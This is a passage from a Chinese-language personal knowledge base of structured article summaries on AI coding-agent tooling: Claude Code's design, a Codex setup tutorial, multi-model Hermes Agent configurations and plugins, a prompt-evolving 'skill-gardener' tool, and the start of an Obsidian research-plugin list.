- **核心哲學**: 結合終端命令的強大與 LLM 的智慧。Claude Code 高度依賴決定性工具 (Deterministic tools，如文件系統、Bash) 來收集上下文，而非純粹依賴 AI 的大腦，這使得它在理解龐大程式碼庫時極其精準。
- **CLAUDE.md 最佳實踐**:
- 作為持久化記憶，用 `/init` 生成。
- 遵循**漸進式揭露 (Progressive Disclosure)**：保持主檔在 200 行以內，將詳細規則拆分到外部 `.md`，讓 Claude 自行決定何時讀取；或者使用 `@import` 強制載入。
- **四大核心元件解析**:
1. **Commands (指令)**: 觸發快速動作（如 `/compact` 或自定義的 `/scan`），在主上下文中執行。
2. **Sub-Agents (子代理)**: 在**獨立的上下文視窗**中運行，能保持主視窗乾淨，且可並行運作。甚至推出了 Agent-Teams 讓多個 Agent 互相協作。
3. **Tools (工具) / MCP**: 允許 Claude 與外部系統互動的函式，如 Jira 或本地資料庫。
4. **Skills (技能)**: 複雜工作流的「操作手冊」，Claude 會在需要時自動呼叫，並支援子技能的漸進式揭露。
- **Hooks (鉤子)**: 事件監聽器，確保在特定生命週期（如程式碼修改後）執行決定性的檢查（如自動跑 Linter），帶來 AI 系統急需的可預測性。
- **Claude Agent SDK**: 無頭 (Headless) 模式與 Python SDK，適合在生產環境 (Docker/MicroVMs) 中部署長運行的非互動式 Agent。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **Grep 勝過 Semantic Search 的反直覺設計**: 在一般的 RAG 系統中，語義搜索被奉為圭臬。但 Claude Code 反其道而行，它大量使用 `grep` 來定位，然後用 LLM 來理解搜尋結果。這種「混合式」方法既有傳統搜尋的 100% 準確率，又具備 AI 的理解力，是其極致 frugality (節儉) 和高效的秘密。
2. **Context Window 的保衛戰**: 文章反覆強調如何管理 Token 上下文。從限制 `CLAUDE.md` 的長度、使用 Sub-Agents 隔離雜訊、自動 `/compact` 總結，到慎用 MCP (因為定義檔很耗 Token)，這一切的設計都指向一個殘酷的現實：在長週期的 Agent 任務中，Context 膨脹是最大的敵人。
### 關鍵證據
- 2026 年 3 月底發生的重大 Source-map 洩漏事件：駭客利用洩漏的架構碼，在幾小時內用 AI 完美重構出一個 5 萬 Star 的開源版本 (Claw-Code)。這本身就是 Claude Code 遷移龐大程式碼庫能力的終極證明。
### 邊界條件
- **Agent-Teams 的代價**: 雖然讓多個 Sub-agent 互相討論 (如一個負責架構，一個負責 UX，一個當惡魔代言人) 聽起來很強大，但每個隊員都是一個獨立的 LLM 實例。如果缺乏嚴格的 `max-Turns` 控制，這會瞬間燒光使用者的 Token 預算。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了上一篇《Why Karpathy’s Second Brain Breaks》中提到的 Agent Memory 痛點。Claude Code 的 `.claude/rules/` 條件載入機制與 `MEMORY.md` 自動重構子代理，正是為了解決「記憶漂移」與「Token 浪費」問題的工程實踐。
- **深層洞見**: **"AI is best when it can verify its own output." (AI 只有在能夠驗證自己輸出時才是最強的。)** 為什麼 Claude Code 寫程式這麼厲害？不是因為模型本身智商高多少，而是因為它被整合進了有編譯器、LSP (語言伺服器協定) 和測試框架的終端環境中。當生成 TypeScript 發現型別錯誤時，它能自己看到錯誤並修正，這比人類手動複製貼上報錯訊息高效太多。
- **行動呼籲**:
如果你還在複製程式碼到 ChatGPT 的網頁對話框，立刻停下來。在終端機中開啟 Claude Code，運行 `/init`，然後強迫自己用純英文下達高階指令（如："幫我修復最新的 TypeError，並補上單元測試"）。讓 AI 學會自己用 `grep` 去找問題，才是 2026 年開發者的正確姿勢。
開發工具
Codex 保姆級入門教程完結篇：雲端、IDE 與本地模型整合 (Codex Tutorial)
"寫程式的 AI 不是不會幹活，而是不知道你的規矩！這篇教學指出，用好 Codex 的關鍵在於：為它寫一份 說明書，並根據場景選擇對的工具——IDE 插件適合「邊寫邊改（重構/補註解）」，CLI 適合「直接派活」，雲端則適合「全局專案分析」。此外，詳細圖解了如何透過修改配置檔，讓 Codex 接上支援 Responses API 的第三方大模型。"
---
tags: [開發工具, 教學, Agent架構]
date: 2026-05-04
source: "20260512_2026-05-05T093926+0800-Codex 保姆级入门教程（完结篇）.md"
---
# Codex 保姆級入門教程完結篇：雲端、IDE 與本地模型整合 (Codex Tutorial)
原始來源與檔名：20260512_2026-05-05T093926+0800-Codex 保姆级入门教程（完结篇）.md
來源：[[@XiaohuiAI666]] (程序員小灰) / X (Twitter) — 2026-05-04
原始檔名：`2026-05-05T093926+0800-Codex 保姆级入门教程（完结篇）.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Codex Environment = Cloud (GitHub integration) + IDE (VSCode context) + CLI (Action execution).
> Project Rules = `AGENTS.md` (Constraints + Conventions).
> Custom Models = `config.toml` (Provider config) + `ENV_VARS` (API Keys).
_這是知名技術博主發布的 Codex 入門教學下篇。文章非常實用地介紹了 Codex 在「雲端 (關聯 GitHub)」和「IDE端 (VSCode 擴充)」的具體使用場景差異。此外，分享了兩個進階核心技巧：1) 透過在專案根目錄建立 `AGENTS.md` 來宣告專案開發規範，讓 AI 自動遵循團隊風格；2) 如何修改 `config.toml` 並配置環境變數，將 Codex 的底層模型無縫切換至 OpenAI 相容的國產模型（如阿里百煉 Qwen3.6-plus），降低使用成本。_
### 一句話
> 寫程式的 AI 不是不會幹活，而是不知道你的規矩！這篇教學指出，用好 Codex 的關鍵在於：為它寫一份 `AGENTS.md` 說明書，並根據場景選擇對的工具——IDE 插件適合「邊寫邊改（重構/補註解）」，CLI 適合「直接派活」，雲端則適合「全局專案分析」。此外，詳細圖解了如何透過修改配置檔，讓 Codex 接上支援 Responses API 的第三方大模型。
### 餐巾紙草圖
```text
[ Codex Usage Strategy ]
Where to use it?
- IDE Plugin -> Small, contextual tasks (Refactor this, comment this, why this error?)
- CLI Engine -> Broad, action tasks (Run tests, fix bugs across files, find text)
- Cloud (Web) -> Repository-wide tasks (Analyze this GitHub repo, explain architecture)
How to control it?
File: AGENTS.md at project root.
- Python 3.11+, Pytest, PEP8, Chinese comments.
=> Codex reads this BEFORE executing actions.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **雲端使用 Codex (GitHub 整合)**:
- 適合處理已託管在 GitHub 的專案。
- 透過 `chatgpt.com/codex/cloud` 授權後，AI 可以直接讀取遠端倉庫，非常適合用來做「專案概覽分析 (看懂整個系統)」。
- **IDE 端使用 (VSCode 插件)**:
- 直接讀取目前編輯的上下文，適合處理「卡住」的情境。
- 最佳場景：解釋單一檔案、選取片段重構、貼上報錯定位問題、補單元測試。
- **IDE vs CLI**: IDE 適合邊寫邊問，CLI 適合直接派大活。
- **進階用法**:
- **`AGENTS.md` 配置檔**: 給 Codex 的「專案說明書」。宣告語言版本、風格限制、測試框架、互動偏好（例如：刪除檔案前必須詢問）。
- **安全權限模式**: 建議新手開「自動審查 (關鍵操作需確認)」；熟悉後才開放「完全訪問」。
- **接入國內大模型 (API 切換)**:
- 只要平台支援 OpenAI 相容 API 即可替換。**但注意：Codex 依賴最新的 Responses API**，僅支援 Chat Completions 的平台可能無法運行。
- 以阿里百煉 (Qwen) 為例：修改 `config.toml`，指定 `model_provider = "bailian"` 與 Base URL，並配置本地環境變數 (`BAILIAN_API_KEY`)。
- **常見踩坑**: 包含登入失敗的處理、找不到 codex 指令的 npm 路徑修復、以及切換 API 時必須重啟甚至重啟電腦才能讀取環境變數。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **AI 的愚蠢來自於缺乏上下文約束**: 很多人抱怨 AI 寫出來的 Code 風格迥異、用錯依賴庫。作者提出 `AGENTS.md` 的解法，本質上這就是系統級的 System Prompt，是將部落知識（Tribal Knowledge）顯性化的過程。寫好 `AGENTS.md`，AI 的輸出品質會產生質的飛躍。
2. **Responses API 帶來的模型生態壁壘**: 文章點出了一個硬派的技術現實——「OpenAI 兼容不等於 Codex 可用」。因為 Codex 大量使用了較新的 API 協議（推測與函數呼叫或特定響應格式有關），這使得那些只做了基礎對話封裝的模型 API 暴露了缺陷。這說明 Agent 時代，模型的 API 基礎建設必須與 OpenAI 完全同步才能吃下生態。
### 關鍵證據
- 提供了清晰的 `AGENTS.md` 範本，包含「開發規範、交互偏好、特定配置」。
- 清楚列出了阿里百煉目前支援 Responses 接口的 Qwen 模型清單，證明了這是經過實際踩坑測試的結果。
### 邊界條件
- 將本地代碼託管給雲端 Codex 或第三方大模型時，必須極度注意公司的資安合規政策。對於受高度監管的企業，將程式碼傳給第三方 API（即使是國內大廠）也可能違反安全規定。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: `AGENTS.md` 的概念，與之前在其他文章中探討的 `CLAUDE.md` 或是 `DESIGN.md` 如出一轍（參見《The 5-Layer Architecture Behind Claude Code》中的 Memory 層）。這已經成為目前所有 Agent 工具的業界標準做法。
- **深層洞見**: **"AI 编码工具最适合从小任务开始磨合。你越清楚自己要什么，它越容易给你稳定结果。"** 期待 AI 一鍵寫出淘寶是幻想，讓 AI 幫你寫出一個穩定覆蓋邊界條件的正則表達式或測試用例，才是生產力。
- **行動呼籲**:
立刻在你的專案根目錄建立一個 `AGENTS.md`（或 `CLAUDE.md`）。不需要寫得很複雜，先寫上三行：1. 專案使用的主要語言版本 2. 測試框架名稱 3. 要求它用中文回答並解釋邏輯。你會立刻感受到 AI 變得「懂事」了。
開發工具
Hermes Agent 多模型矩陣實戰：我是如何用 AI 改變生活與工作的 (Multi-Agent Setup)
"別再問「Agent 能做什麼」，先問「你每天都在哪些鳥事上浪費時間」。作者親自示範了如何建立一個兼顧成本與效能的 AI 幕僚團。她將任務切分：重度編程交給 ChatGPT Plus (GPT-5.5)、日常提醒交給免費的 NVIDIA API、敏感的個人健康研究則交給 8GB 筆電上的本地量化模型 (Qwen 3.5)。這篇文章證明了，只要能精準匹配模型優勢與個人痛點，即使是老舊的筆電也能跑出改變生活品質的強大 Agent。"
---
tags: [開發工具, 工作流, Agent架構]
date: 2026-05-04
source: "20260512_2026-05-05T094038+0800-What I Use Hermes Agent For (And How I Use It).md"
---
# Hermes Agent 多模型矩陣實戰：我是如何用 AI 改變生活與工作的 (Multi-Agent Setup)
原始來源與檔名：20260512_2026-05-05T094038+0800-What I Use Hermes Agent For (And How I Use It).md
來源：[[@vmiss33]] / X (Twitter) — 2026-05-04
原始檔名：`2026-05-05T094038+0800-What I Use Hermes Agent For (And How I Use It).md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Agent Utility = (Grunt Work Automation + Personal Friction Points) * Right Model Fit.
> Team Structure = Tech Researcher (Nous) + Tech Executor (GPT-5.5) + Lifestyle Reminder (Nemotron) + Health Scraper (Local Qwen).
> Rule of Thumb: Start with your problems, not the tech specs.
_這是一篇非常平易近人且實用的 Agent 實踐指南。作者分享了她如何度過「不知道拿 AI Agent 來做什麼」的焦慮期，最終在 Hermes 上建構了一個「多重代理人 (Multi-agent)」團隊。她的團隊分工明確：有負責技術研究的學者、負責寫扣與修改 TUI 的執行者、定時提醒她喝水與注意姿勢的生活助理，甚至還有一個跑在本機 RTX 4070 筆電上、專門幫她搜集罕見疾病資訊並規畫食譜的本地模型。_
### 一句話
> 別再問「Agent 能做什麼」，先問「你每天都在哪些鳥事上浪費時間」。作者親自示範了如何建立一個兼顧成本與效能的 AI 幕僚團。她將任務切分：重度編程交給 ChatGPT Plus (GPT-5.5)、日常提醒交給免費的 NVIDIA API、敏感的個人健康研究則交給 8GB 筆電上的本地量化模型 (Qwen 3.5)。這篇文章證明了，只要能精準匹配模型優勢與個人痛點，即使是老舊的筆電也能跑出改變生活品質的強大 Agent。
### 餐巾紙草圖
```text
[ My Hermes Agent Crew ]
├── Tech Research Agent (Nous/MiniMax) -> Reads papers, teaches me tech.
├── Tech Executor Agent (GPT-5.5) -> Writes scripts, customizes TUI.
├── Lifestyle Agent (NVIDIA/Nemotron Free) -> Sends Telegram pings (water/posture).
└── Health/Recipe Agent (Local Qwen-3.5 9B on RTX 4070) -> Scans web for MCAS health data safely.
Cost Optimization Strategy: Use APIs strategically, offload to local/free models when possible.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心哲學**: 視 AI 為助理，不做思考的替代品，而是用來指引方向與執行繁雜的「苦力活 (Grunt work)」。只讓 AI 執行自己已經理解的自動化任務。
- **尋找使用場景的方法**:
1. 記錄一週的日常活動。
2. 找出「花費大量時間」和「必須做但價值低」的任務。
3. 思考生活中的個人痛點（軟性需求，如健康、飲食）。
- **多代理人團隊配置 (The Agent Crew)**:
- **Tech Research Agent**: 負責提供研究簡報與引用來源（使用 Nous Portal / MiniMax）。
- **Tech Task Master Agent**: 負責實際寫 code、建構 Skill（使用 ChatGPT Plus GPT-5.5）。
- **Lifestyle Agent**: 定時發送 Telegram 提醒喝水與矯正姿勢（使用 OpenRouter 免費模型）。
- **Lifestyle/Research Agent**: 為慢性病 (MCAS) 搜尋醫療資訊並規劃特定飲食。基於隱私，部署在本地端 (8GB RTX 4070, Qwen 3.5 9B quant)。
- **模型與成本管理**:
- 利用 OpenRouter 和 NVIDIA NIM 的免費模型進行常規任務。
- 使用 LMStudio 輕鬆在本地端運行量化模型（即使是 M1 Mac 也能跑）。
- 深夜開發才動用高階訂閱 API (GPT-5.5)。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **專業分工提高效率**: 作者沒有試圖用一個「超級全能的 GPT」來解決所有事，而是將「研究 (Research)」與「執行 (Execution)」分離。這符合系統工程中降低耦合度的原則，因為研究模型需要高 Context，而執行模型需要高邏輯精準度，兩者硬塞在同一個 Session 會導致 Context 污染。
2. **本地模型結合雲端框架**: 將私密性極高的個人健康問題（慢性病研究與飲食）下放給 Local Model (Qwen)，而將一般程式碼任務交給 Cloud API (GPT-5.5)。作者證明了透過 Hermes 這樣的 TUI 工具統一介面，能完美實踐「雲地混合 (Cloud-Local Hybrid)」架構，在隱私與智商間取得最佳平衡。
### 關鍵證據
- 作者實際展示了不同 API 的預算控制成果：透過使用 NVIDIA Nemotron (免費) 和 LMStudio (本地)，她成功避免了許多初學者直接連接 Anthropic API 導致「一天燒掉幾百美金」的悲劇。
### 邊界條件
- **本地運算的限制**: 雖然 8GB VRAM 的 RTX 4070 可以跑 Qwen 3.5 9B，但這類量化小模型在處理極度複雜的邏輯推理時容易產生幻覺。作者將其限制在「搜尋文獻與給食譜靈感」等容錯率較高的任務，是非常聰明的邊界控制。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了《Agent-Native CLIs》中提到的非互動式自動化。透過 Hermes，Lifestyle Agent 可以在後台默默執行邏輯，並透過 Telegram 將結果（喝水提醒）推送給作者，這就是完全成型的 Agentic Workflow。
- **深層洞見**: **"The biggest mistake I see people make with agents is starting with the tech instead of the problem." (人們在 Agent 上犯的最大錯誤，是從技術出發，而不是從問題出發)。** 一個人如果沒有想要解決的真實痛點，給他再強大的 AGI，他也只能拿來寫寫打油詩。技術只是手段，解決生活摩擦力才是目的。
- **行動呼籲**:
拿出一張紙，寫下你本週最討厭做的三件「必須做但零成就感」的日常瑣事。挑選其中一件，試著在 LMStudio 下載一個免費的 8B 小模型，或者接上免費的 API，讓 Agent 幫你寫一段腳本來自動化它。從解決一個最小的痛點開始你的 Agent 之旅。
開發工具
Hermes 滿配升級指南：五大外掛系統配置 (Hermes Max Configuration Guide)
"這是一篇極具實用價值的 Hermes Agent 「外掛升級保姆級教程」。作者詳盡介紹了如何將一個裸裝的 Hermes 透過五套系統改裝成全能數位助理。從設定角色身份（SOUL.md）、升級長期圖譜記憶（Hindsight）、強化網路抓取與文檔解析能力，到最重要的成本控制——使用 RTK (Rust Token Killer) 自動壓縮終端機指令輸出，一舉砍掉 80% 的廢話 Token。這是一套讓 Agent 從「玩具」變為「生產力工具」的標準作業流程。"
---
tags: [開發工具, Agent架構, 效能優化]
date: 2026-04-22
source: "20260512_2026-04-28T092739+0800-装完 Hermes 一定要配置这五套系统，秒变满配版，能力提升数倍不止。.md"
---
# Hermes 滿配升級指南：五大外掛系統配置 (Hermes Max Configuration Guide)
原始來源與檔名：20260512_2026-04-28T092739+0800-装完 Hermes 一定要配置这五套系统，秒变满配版，能力提升数倍不止。.md
來源：[[@congge918]] / X (Twitter) — 2026-04-22
原始檔名：`2026-04-28T092739+0800-装完 Hermes 一定要配置这五套系统，秒变满配版，能力提升数倍不止。.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Bare Hermes = Basic LLM Wrapper.
> Max Hermes = SOUL.md (Identity) + Hindsight (Graph Memory) + Crawl4AI (Perception) + Marker/Whisper (Expression) + RTK/Tokscale (Efficiency).
> Result = Persistent memory, web crawling, multimedia capabilities, and 80% lower token costs.
_原生的 Hermes Agent 只是一個基礎框架，能力有限。透過安裝這五大模組系統，可以將其升級為滿血版：1. 使用 `agency-agents-zh` 設定具體職業的 SOUL.md 角色人設；2. 用 Hindsight 替換原生的短暫記憶庫，實現跨會話的知識圖譜記憶；3. 安裝 Jina/Crawl4AI 等爬蟲工具賦予其讀網能力；4. 安裝 Tavily、Whisper 等工具擴展搜尋與多模態表達能力；5. 最關鍵的是，使用 RTK 工具精簡終端輸出，並用 Tokscale 監控花費，大幅節省 API Token 成本。_
### 一句話
> 這是一篇極具實用價值的 Hermes Agent 「外掛升級保姆級教程」。作者詳盡介紹了如何將一個裸裝的 Hermes 透過五套系統改裝成全能數位助理。從設定角色身份（SOUL.md）、升級長期圖譜記憶（Hindsight）、強化網路抓取與文檔解析能力，到最重要的成本控制——使用 RTK (Rust Token Killer) 自動壓縮終端機指令輸出，一舉砍掉 80% 的廢話 Token。這是一套讓 Agent 從「玩具」變為「生產力工具」的標準作業流程。
### 餐巾紙草圖
```text
[ Hermes Max Architecture ]
Core: Hermes Agent
├── Identity: SOUL.md (211 Chinese templates)
├── Memory: Hindsight API (Cross-session knowledge graph)
├── Perception: Tavily Search + Crawl4AI / Jina Reader
├── Expression: Whisper (Voice) + FLUX (Image) + Marker (PDF)
└── Cost Control:
├── Tokscale (Visualized Token Dashboards)
└── RTK (Compresses `ls`, `git diff` outputs by 80%)
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **核心痛點**: 原裝（裸機）Hermes 記憶短暫、無聯網能力、耗費 Token 龐大，實用價值低。
- **五大配置模組**:
1. **身份與記憶**: 從 `agency-agents-zh` 下載 211 種專業角色的 SOUL.md 模板。
2. **記憶升級 (最關鍵)**: 棄用原生的 MEMORY.md，改用 Hindsight。它會自動在每次對話中提取實體與關係建立知識圖譜，並在下次呼叫前自動注入 System Prompt。
3. **感知能力 (爬蟲)**: 安裝 Jina Reader (單頁)、Crawl4AI (深度批量)、Scrapling (反爬) 讓 Agent 能讀懂網頁。
4. **搜尋與表達能力**: 安裝 Tavily (AI 專用搜尋)、Pandoc/Marker (文件轉換)、Whisper/Edge TTS/FLUX (語音與圖像處理)。
5. **效率與成本管控 (重點必裝)**:
- **Tokscale / hermes-hudui**: 視覺化監控各模型與元件的 Token 成本。
- **RTK (Rust Token Killer)**: 零依賴的 CLI 代理，智能壓縮 `ls`, `git status` 等終端機垃圾輸出，節省 60-90% 的無效 Token。
- **自我進化工具**: 用遺傳演算法自動優化 Agent 的 Prompt。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **記憶決定智商**: 預設的 `.md` 檔案記憶有長度上限且依賴模型主動寫入。Hindsight 透過外掛的知識圖譜技術實現「被動擷取、主動注入」，解決了 Agent 隔夜失憶的痛點。這與 Cognee 的設計理念完全一致。
2. **Context Window 經濟學**: AI 編碼助理最大的成本浪費在於終端機輸出。一個 `git status` 或 `ls -l` 會塞入大量對 LLM 毫無意義的空白字元與權限標籤。RTK 透過前置過濾 (Hook)，從物理層面截斷了無效 Token 消耗，這是最硬核的降本增效。
### 關鍵證據
- 實操數據：RTK 能精簡目錄樹省 80% token、壓縮 git 輸出省 80%、只顯示 cargo test 失敗項省 90%。這對於動輒每百萬 Token 幾十美金的頂級模型來說，是巨大的財務節省。
### 邊界條件
- 「滿配」意味著高度依賴外部 API 服務（如 Hindsight, Tavily 等），這不僅會增加系統整體的網路延遲 (Latency)，也可能引入資料隱私風險。對於需要在高度機密環境內網斷網運行的使用者，部分雲端依賴的套件並不適用。
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: RTK 完美解決了《Keep your Claude Code context clean with Subagents》中提到的 Context Bloat (上下文膨脹) 痛點；而 Hindsight 的記憶機制正是《Build Agents that never forget》中圖譜記憶在 Hermes 生態中的具體實作。
- **深層洞見**: **"Hermes 裸装和满配差异巨大，完全是两种AI Agent。"** 工具框架本身只是底盤，真正的引擎和輪胎是生態系中無數的開源套件。Agent 的強大來自於「可組裝性 (Composability)」。
- **行動呼籲**:
如果你正在使用命令列 AI 助手（如 Claude Code, Cursor 終端, 或 Hermes）：
立刻安裝 RTK (`brew install rtk` 並執行 `rtk init -g`)。這是一個立竿見影的動作，今天就能幫你省下至少一半的 API 費用。
開發工具
一個 Claude Code Skill 的長期自我進化系統 (Skill Gardener)
"這是一篇介紹進階 Prompt / Skill 工程架構的技術分享。作者開發了 ，一個能讓 Claude Code Skill 自我迭代的元系統 (Meta-Skill)。其核心設計理念包含：將 LLM 評估從「分數」改為「二元分類檢測與成對比較」、強制使用真實的被動日誌代替人造測試集、實施多向變異與淘汰的演化機制，並首創「風格錨點 (Style Anchor)」來守護創作者的個人品味。這套系統讓 Skill 的成長不再是靠運氣微調，而是數據驅動的長期進化。"
---
tags: [開發工具, Agent架構, 底層原理]
date: 2026-04-23
source: "20260512_2026-04-28T092743+0800-一个Claude Code Skill 的长期自我进化系统！.md"
---
# 一個 Claude Code Skill 的長期自我進化系統 (Skill Gardener)
原始來源與檔名：20260512_2026-04-28T092743+0800-一个Claude Code Skill 的长期自我进化系统！.md
來源：[[@binghe]] / X (Twitter) — 2026-04-23
原始檔名：`2026-04-28T092743+0800-一个Claude Code Skill 的长期自我进化系统！.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Skill Gardener System = Pairwise Preference Voting (Not Absolute Scoring) + Passive Usage Logs (Not Synthetic Prompts) + Arena Protocol (Survival of the fittest 6 candidates) + Style Anchors (Preserving user taste).
> Result = A Skill that organically evolves and self-corrects over time based on real usage.
_這是一款專門用來「優化其他 Skill」的 Claude Code 工具：skill-gardener。它摒棄了傳統 LLM 不精準的絕對打分制，改用符合人類直覺的「偏好投票（A 還是 B 更好）」。系統會在後台默默記錄你日常真實使用的日誌作為訓練素材。優化時，它會一次生成 6 種不同方向的改進版本（精簡冗餘、增加邊界等），讓它們在「競技場」中兩兩對決，並透過與你預設的「風格錨點」比對，確保 Skill 在變聰明的同時，依然保留你獨特的審美與說話語氣。_
### 一句話
> 這是一篇介紹進階 Prompt / Skill 工程架構的技術分享。作者開發了 `skill-gardener`，一個能讓 Claude Code Skill 自我迭代的元系統 (Meta-Skill)。其核心設計理念包含：將 LLM 評估從「分數」改為「二元分類檢測與成對比較」、強制使用真實的被動日誌代替人造測試集、實施多向變異與淘汰的演化機制，並首創「風格錨點 (Style Anchor)」來守護創作者的個人品味。這套系統讓 Skill 的成長不再是靠運氣微調，而是數據驅動的長期進化。
### 餐巾紙草圖
```text
[ Skill Gardener Evolution Loop ]
1. Passive Logging: Records real usage of "Skill X" in `usage.jsonl`.
2. Mutation: Generates 6 diverse candidates for the new Prompt:
[A. Concise] [B. More edge cases] [C. Workflow fixed] ...
3. Style Check: Does Candidate B match my "Style Anchor"? (If No -> Reject).
4. Arena Battle: Remaining candidates compete via LLM Pairwise Voting.
5. Survival: Winner becomes the new "Skill X" prompt.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
- **工具定位**: 這是一個進化 Skill 的 Skill (`skill-gardener`)，目的是讓使用者的 Skill 庫透過時間積累變得越來越強。
- **五大核心設計**:
1. **捨棄打分，改用「成對比較」**: LLM 給絕對分數會漂移，但判斷「A 比 B 好」非常穩定（偏好投票機制）。
2. **真實評估集**: 拒絕人工合成 Prompt，使用被動記錄的真實觸發場景與後續修正對話作為評估資料。
3. **失敗模式檢測**: 將模糊評估轉為「二元分類任務+證據提取」（例如：是否偏離意圖？是否出現 AI 味辭彙？）。
4. **競技場變異淘汰 (Arena Protocol)**: 每輪優化產生 4-6 個不同方向的候選版本（精簡、重組、加約束等），兩兩對決，勝者晉級。
5. **風格錨點 (Style Anchor)**: 提供 5-10 個「就是這樣」的完美歷史輸出作為基準。新候選版本若偏離這個審美錨點，就算功能再強也直接淘汰。
- **運行架構**: 包含基礎配置檔（定義失敗模式、策略）與動態生成檔（累積的品味資料庫、歷史日誌）。
## ROUND 2: DISSECTION | 血肉解剖
**"憑什麼這麼說"**
### 核心論證鏈
1. **LLM 評估的相對性原理**: 業界公認（如 Chatbot Arena 的 ELO 機制），LLM 在擔任裁判時，絕對分數的可靠性極低（容易受提示詞微小變動影響），但 Pairwise Comparison (成對比較) 的一致性極高。Skill Gardener 的底層邏輯完全符合當前模型評測的科學共識。
2. **多樣性與選擇壓力的演化論**: 如果只讓 LLM 進行單線程的「修改自己」，往往會陷入局部最佳解（Local Optima），甚至越改越差。一次生成 6 個變異分支並放入競技場廝殺，是將遺傳演算法 (Genetic Algorithm) 的思想應用在 Prompt 優化上。
### 關鍵證據
- "AI 味檢測"：系統能自動檢測出「深入淺出」、「相得益彰」等陳腔濫調，這是痛擊目前很多 AI 工具輸出品味低下的有效手段。
### 邊界條件
- 這套系統需要極大的耐心與足夠的使用基數。如果你一個 Skill 一個月只用兩次，日誌資料量太少，系統根本無法啟動有效的進化循環。「如果你想要的是一個下午讓 Skill 脫胎換骨，這不是它的本來作用。」
## ROUND 3: SOUL | 靈魂提取
**"還能怎么用"**
- **知識連結**: 呼應了上一篇《装完 Hermes 一定要配置这五套系统》中提到的 `Hermes-agent-self-evolution`（遺傳-帕累托進化演算法）。而「風格錨點」的設計，則解決了《可运行不等于可交付》中痛批的「視覺風格隨機化、被模型預設值牽著走」的災難。
- **深層洞見**: **"LLM 不能对你的审美来打分，因为那是你的个性基因。"** 完美的 Prompt 工程不是追求放諸四海皆準的模板，而是打造一個能無限逼近你靈魂深處個人品味的數位分身。錨點 (Anchor) 的概念，是人機協作保護「人類獨特性」的最後一道防線。
- **行動呼籲**:
即使你不用這個工具，也請立刻在你的記事本裡建立一個名為 `My_Taste_Anchor.md` 的檔案。把過去一個月內 AI 寫出讓你拍案叫絕的 5 段文字，以及 3 段讓你覺得「這 AI 味真噁心」的文字貼進去。下次讓 AI 創作時，把它餵進去：「請嚴格按照以下 Anchor 的品味寫作」。
開發工具
你只需要這 7 個 Obsidian 外掛：打造不崩潰的學術研究工作流
"學術研究不是寫寫日記，你需要管理幾百篇論文和複雜的引用。不要再盲目追求華而不實的 Obsidian 外掛了，你只需要 7 個：用 Citations 拉取 Zotero 論文、用 QuickAdd 自動生成筆記模板、用 Linter 確保格式不跑位、用 Dataview 把筆記變成動態資料庫隨時查詢、用 Calendar 紀錄你每天到底讀了什麼、用 Longform 拼湊你的長篇論文，最後，當你什麼都忘了的時候，用 Omnisearch 把它挖出來。"
---
tags: [開發工具, 認知框架]
date: 2026-04-25
source: "20260512_2026-05-06T095743+0800-“The Only 7 Obsidian Plugins You Need for a Research Workflow”.md"
---
# 你只需要這 7 個 Obsidian 外掛：打造不崩潰的學術研究工作流
原始來源與檔名：20260512_2026-05-06T095743+0800-“The Only 7 Obsidian Plugins You Need for a Research Workflow”.md
來源：[[Len]] / Medium — 2026-04-25
原始檔名：`2026-05-06T095743+0800-“The Only 7 Obsidian Plugins You Need for a Research Workflow”.md`
---
## NAPKIN | 餐巾紙
### 餐巾紙公式
> Messy Folders -> Academic Self-Sabotage.
> The "Second Brain" Rescue Pack = Citations (Zotero) + Dataview (Database) + Longform (Writing) + Calendar (Timeline) + QuickAdd (Frictionless entry) + Linter (Format Guard) + Omnisearch (Retrieval).
> Goal: A system that compensates for your actual brain on bad days.
_讀博或做學術研究時，將 PDF 隨便丟在資料夾裡簡直是學術自殘。多數網路上流傳的 Obsidian 教學都太過「極簡」，無法應付數百篇論文、複雜引用的龐大知識庫。作者經過無數次崩潰後，將工作流精簡至只剩 7 個核心外掛：Citations（對接 Zotero）、Dataview（動態資料庫）、Longform（長篇論文撰寫）、Calendar（時間軸與進度）、QuickAdd（自動化建立卡片）、Linter（格式守門員）、以及 Omnisearch（全文搜索）。這套系統的目標不是追求完美，而是「即使在你最累、最不想看論文的日子裡，系統依然能穩穩運作」。_
### 一句話
> 學術研究不是寫寫日記，你需要管理幾百篇論文和複雜的引用。不要再盲目追求華而不實的 Obsidian 外掛了，你只需要 7 個：用 Citations 拉取 Zotero 論文、用 QuickAdd 自動生成筆記模板、用 Linter 確保格式不跑位、用 Dataview 把筆記變成動態資料庫隨時查詢、用 Calendar 紀錄你每天到底讀了什麼、用 Longform 拼湊你的長篇論文，最後，當你什麼都忘了的時候，用 Omnisearch 把它挖出來。
### 餐巾紙草圖
```text
[ The Academic Obsidian Funnel ]
1. INPUT
Citations (Syncs with Zotero) -> QuickAdd (Applies Template)
2. STRUCTURE
Linter (Cleans up YAML/headings) -> Dataview (Query "Unread Papers")
3. PROCESS
Calendar (Daily log of what clicked) -> Longform (Compiling thesis chapters)
4. RETRIEVAL
Omnisearch (Find that brilliant 2am thought)
Result: Focus on research, not managing research.
```
## ROUND 1: SKELETON | 骨架掃描
**"這篇文章在說什麼"**
